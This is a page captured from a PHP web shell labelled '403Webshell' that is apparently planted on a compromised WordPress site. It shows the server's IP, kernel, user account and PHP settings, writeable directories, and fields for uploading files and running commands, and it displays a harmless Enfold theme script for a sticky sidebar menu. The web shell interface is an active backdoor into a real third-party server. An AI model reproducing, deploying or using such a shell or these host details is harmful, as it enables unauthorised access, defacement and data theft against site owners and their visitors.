403Webshell
Server IP : 81.19.159.101  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux www58.world4you.com 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : ftp8817043 ( 2681)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/.sites/103/site8817043/web/wp-content/themes/enfold/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/.sites/103/site8817043/web/wp-content/themes/enfold/js//avia-snippet-sidebarmenu.js
(function($)
{
    "use strict";

    $( function()
    {
		// set sidebar main menu option
        avia_sidebar_menu();
    });


	function avia_sidebar_menu()
	{
		var win				= $(window),
			main			= $('#main'),
			sb_header		= $('.html_header_sidebar #header_main'),
            sidebar			= $('.html_header_sidebar #header.av_conditional_sticky');

        if( ! sb_header.length )
		{
			return;
		}
        // main.css({"min-height":sb_header.outerHeight()});

        if( ! sidebar.length )
		{
			return;
		}

        var innerSidebar	= $('#header_main'),
       	 	wrap			= $('#wrap_all'),
       	 	fixed_frame		= parseInt( $('.av-frame-top').height(), 10 ) * 2 || 0,
       	 	subtract 		= parseInt($('html').css('margin-top'), 10),
            calc_values 	= function()
            {
            	if( innerSidebar.outerHeight() + fixed_frame < win.height() )
				{
					sidebar.addClass('av_always_sticky');
				}
				else
				{
					sidebar.removeClass('av_always_sticky');
				}

				wrap.css({'min-height': win.height() - subtract});
            };

        calc_values();

        win.on( "debouncedresize av-height-change", calc_values );
	}

})(jQuery);


Youez - 2016 - github.com/yon3zu
LinuXploit